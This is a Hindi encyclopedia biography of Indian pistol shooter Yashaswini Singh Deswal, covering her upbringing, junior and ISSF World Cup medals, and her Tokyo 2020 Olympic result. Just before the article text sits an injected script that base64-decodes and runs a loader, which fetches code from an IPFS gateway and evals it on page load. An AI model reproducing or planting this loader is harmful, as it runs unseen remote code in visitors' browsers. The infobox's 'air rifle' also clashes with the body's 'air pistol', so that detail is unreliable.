यशस्विनी सिंह देसवाल

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
यशस्विनी सिंह देसवाल
यशस्विनी सिंह देसवाल
पूरा नाम यशस्विनी सिंह देसवाल
जन्म 30 मार्च, 1997
जन्म भूमि पंचकुला, हरियाणा
कर्म भूमि भारत
खेल-क्षेत्र निशानेबाज़ी (10 मीटर एयर राइफल)
प्रसिद्धि भारतीय महिला निशानेबाज़
नागरिकता भारतीय
अन्य जानकारी साल 2014 में यशस्विनी सिंह देसवाल ने चीन के नानजिंग में यूथ ओलंपिक के लिए क्वालीफाई किया, जहां वह छठे स्थान पर रहीं। इसके साथ ही उन्होंने 2014 एशियन चैंपियनशिप में जूनियर में रजत पदक जीता।
अद्यतन‎

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>यशस्विनी सिंह देसवाल (अंग्रेज़ी: Yashaswini Singh Deswal, जन्म- 30 मार्च, 1997, पंचकुला, हरियाणा) भारतीय महिला निशानेबाज़ खिलाड़ी हैं। उन्होंने रियो डी जेनेरो में आयोजित 2019 आईएसएसएफ विश्व कप में 10 मीटर एयर पिस्टल स्पर्धा में स्वर्ण पदक जीता था। जिसके बाद उन्होंने 2021 में हुए ग्रीष्मकालीन ओलम्पिक, 2020 (टोक्यो ओलंपिक) के लिये अपनी प्रतिभागिता पक्की की थी। टोक्यो ओलम्पिक में भारत की सबसे बड़ी पदक उम्मीद माने जा रहे निशानेबाजों का प्रदर्शन निराशाजनक रहा। मनु भाकर और यशस्विनी सिंह देसवाल टोक्यो ओलंपिक में महिलाओं की 10 मीटर एयर पिस्टल स्पर्धा के फाइनल में जगह नहीं बना सकीं। दोनों का यह पहला ओलंपिक था और अपेक्षाओं के दबाव का आखिरी क्षणों में दोनों सामना नहीं कर सकीं।

परिचय

यशस्विनी सिंह देसवाल का जन्म 30 मार्च, 1997 को हरियाणा के पंचकूला में हुआ था। उन्हें 2010 के कॉमनवेल्थ गेम्स ने प्रेरित किया, जिसे वह टीवी पर देख रही थीं। इसके बाद उन्होंने अपने दिमाग में ये बात रख ली कि वह एक दिन शूटिंग में देश के लिए पदक हासिल करेंगी। यशस्विनी सिंह देसवाल जब महज 15 साल की थीं, तब उन्होंने साल 2012 में अपनी शूटिंग की यात्रा को शुरू किया। जहां उन्हें कॉमनवेल्थ गेम्स से प्रेरणा मिली। जिसके बाद उनका शूटिंग की तरफ रुझान बढ़ने लगा। जिसके बाद यशस्विनी ने स्कूल नेशनल्स में स्वर्ण पदक हासिल किया।[1]

यशस्विनी सिंह देसवाल के पिता एक पुलिस अधिकारी और खेल प्रेमी हैं। चूँकि देसवाल ने 10 मीटर एयर पिस्टल शूटर के रूप में शुरुआत की थी तो उनके माता-पिता ने पंचकुला में अपने घर पर ही उनके अभ्यास के लिए एक शूटिंग रेंज बना दिया था। पुलिस महानिरीक्षक (रिटायर्ड) टी. एस. ढिल्लन जो कि एक अंतरराष्ट्रीय शूटर हैं, उनके कोच बन गए। इसके बाद यशस्विनी ने दिसंबर 2014 में पुणे में आयोजित 58वीं राष्ट्रीय शूटिंग चैम्पियनशिप में विभिन्न श्रेणियों में 3 स्वर्ण पदक जीते।

कॅरियर

साल 2014 में यशस्विनी सिंह देसवाल ने चीन के नानजिंग में यूथ ओलंपिक के लिए क्वालीफाई किया, जहां वह छठे स्थान पर रहीं। इसके साथ ही उन्होंने 2014 एशियन चैंपियनशिप में जूनियर में रजत पदक जीता और उस वर्ष आईएसएसएफ जूनियर विश्व कप में महिला टीम को कांस्य पदक दिलाने में अपना योगदान दिया। इसके बाद इस युवा निशानेबाज ने कभी भी पीछे मुड़कर नहीं देखा और हर कदम पर अपना नाम रोशन करती गई। वहीं, साल 2015 में वो जूनियर नेशनल चैंपियन बनीं और साल 2016 आईएसएसएफ जूनियर विश्व कप में रजत पदक और 2016 दक्षिण एशियाई खेलों में स्वर्ण पदक हासिल किया।

इसके साथ ही यशस्विनी सिंह देसवाल ने 2017 आईएसएसएफ जूनियर विश्व चैंपियनशिप में फाइनल में 235.9 के स्कोर के साथ स्वर्ण पदक हासिल किया, जो तत्कालीन जूनियर वर्ल्ड रिकॉर्ड की बराबरी की। यही नहीं, वो मेक्सिको के ग्वाडलजारा 2018 में आईएसएसएफ़ विश्व कप में महिलाओं की 10 मीटर एयर पिस्टल में चौथे स्थान पर रहीं। अगले वर्ष यशस्विनी सिंह देसवाल ने आखिरकार अपना पहला आईएसएसएफ विश्व कप पदक हासिल किया। जहां ब्राजील के रियो डी जनेरियो में 10 मीटर एयर पिस्टल में स्वर्ण पदक जीता, जिसमें उन्होंने पूर्व ओलंपिक चैंपियन ओलेना कोस्टेविच को मात दी। वहीं 2021 नई दिल्ली आईएसएसएफ़ विश्व कप में यशस्विनी सिंह देसवाल ने हमवतन मनु भाकर को 10 मीटर एयर पिस्टल में हराकर आईएसएसएफ विश्व कप में अपना दूसरा स्वर्ण पदक जीता।[1]

ग्रीष्मकालीन ओलम्पिक, 2020

मनु भाकर और यशस्विनी सिंह देसवाल टोक्यो ओलंपिक (ग्रीष्मकालीन ओलम्पिक, 2020) में महिलाओं की 10 मीटर एयर पिस्टल स्पर्धा के फाइनल में जगह नहीं बना सकीं। दोनों का यह पहला ओलंपिक था और अपेक्षाओं के दबाव का आखिरी क्षणों में दोनों सामना नहीं कर सकीं। दुनिया की दूसरे नंबर की निशानेबाज 19 वर्ष की मनु भाकर ने शुरुआत अच्छी की और लग रहा था कि वह शीर्ष आठ में जगह बना लेंगी, लेकिन उनकी पिस्टल में कोई तकनीकी खराबी आने का उनके प्रदर्शन पर असर पड़ा। पहली सीरीज में 98 स्कोर करने के बाद उन्होंने 95,94 और 95 स्कोर किया, जिससे शीर्ष 10 से बाहर हो गईं। नंबर एक निशानेबाज यशस्विनी खराब शुरुआत के बाद दूसरी सीरीज में 98 स्कोर के साथ लौटी थीं, जिसमें पांच बार उन्होंने 10 स्कोर किया। उनका कुल स्कोर 94, 98, 94, 97, 96, 95 की सीरीज के बाद 574 रहा। शीर्ष पर रहीं चीन की जियान रानशिंग ने 587 अंक लेकर ओलंपिक रिकॉर्ड बनाया। यूनान की अन्ना कोराक्की दूसरे और रूसी ओलंपिक समिति की बी वितालिना तीसरे स्थान पर रहीं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 यशस्विनी सिंह देसवाल (हिंदी) olympics.com। अभिगमन तिथि: 08 अगस्त, 2021।

संबंधित लेख